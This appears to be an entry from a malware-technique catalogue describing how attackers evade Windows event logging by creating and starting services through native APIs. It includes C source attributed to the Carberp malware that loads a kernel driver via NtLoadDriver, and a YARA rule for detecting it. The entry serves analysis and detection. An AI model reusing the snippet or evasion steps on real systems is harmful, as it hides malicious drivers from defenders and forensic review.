Windows Event Log Evasion via Native APIs

Created the Monday 27 June 2022. Updated 5 months, 2 weeks ago.

Attackers can leverage native Windows API calls to install malicious services without generating correlating entries in the event log. Using native APIs to install services instead of the standard API calls allow attackers to bypass security controls and event logging. This technique was utilised by Stuxnet.

Services are typically created through a standard Windows API call CreateServiceA or CreateService. This API is also called by the service creating Windows native tool “sc.exe” to register a service on a machine. A call to this API subsequently generates entries in the event log which corresponds to the service creation event IDs.

Attackers can create services without relying on the typical API call CreateServiceA by directly interacting with the Windows native API calls instead. For example, the StartService API will a make a call to the native API NdrClientCall2 along with registering the service start events in the event logs.

By directly calling NdrClientCall2 to start a service that’s had the registry keys manually created, the service is started and running, and no event logs are created allowing to evade forensic analysis. This will result in a malicious service running and without any event log entry.

To take this a step further, attackers can remove the evidence in the registry and any correlating evidence loaded in the memory of “services.exe”. This leaves with no registry artefacts and no event log information to analyse.

Description

NtLoadDriver technique used by Caberp malware.

VOID StartSys(LPCSTR chSysPath)
{
	NTSTATUS St;
	BOOL bRet = FALSE;
	HKEY hKey;
	CHAR chRegPath[MAX_PATH];
	WCHAR wcLoadDrv[MAX_PATH];
	CHAR chImagePath[MAX_PATH] = "\\??\\";
	UNICODE_STRING usStr;
	DWORD dwType;

	GetPrivilege(SE_LOAD_DRIVER_PRIVILEGE);

	DbgPrint(__FUNCTION__"(): driver path '%s'\n",chSysPath);

	DWORD dwId = GetTickCount();

	_snprintf(chRegPath,RTL_NUMBER_OF(chRegPath)-1,"system\\currentcontrolset\\services\\%x", dwId);
	_snwprintf(wcLoadDrv,RTL_NUMBER_OF(wcLoadDrv)-1,L"\\registry\\machine\\system\\currentcontrolset\\services\\%x", dwId);

	strncat(chImagePath,chSysPath,sizeof(chImagePath));
	if (RegCreateKey(HKEY_LOCAL_MACHINE,chRegPath,&hKey) == ERROR_SUCCESS)
	{
		RegSetValueEx(hKey,"ImagePath",0,REG_SZ,(LPBYTE)&chImagePath,strlen(chImagePath)+1);

		dwType = SERVICE_KERNEL_DRIVER;
		RegSetValueEx(hKey,"Type",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));

		dwType = SERVICE_DEMAND_START;
		RegSetValueEx(hKey,"Start",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));

		RegCloseKey(hKey);

		RtlInitUnicodeString(&usStr,wcLoadDrv);
		St = NtLoadDriver(&usStr);

		DbgPrint(__FUNCTION__"(): NtLoadDriver status %x\n",St);
	}
	else
	{
		DbgPrint(__FUNCTION__"(): RegCreateKey last error %x\n",GetLastError());
	}
}

Open Snippet

Detection Rules

YARA

rule Detect_EventLogTampering: AntiForensic {
    meta: 
        description = "Detect NtLoadDriver and other as anti-forensic"
        author = "Unprotect"
        comment = "Experimental rule"
    strings:
        $1 = "NtLoadDriver " fullword ascii
        $2 = "NdrClientCall2" fullword ascii
    condition:   
       uint16(0) == 0x5A4D and filesize < 1000KB and any of them 
}

Additional Resources

External Links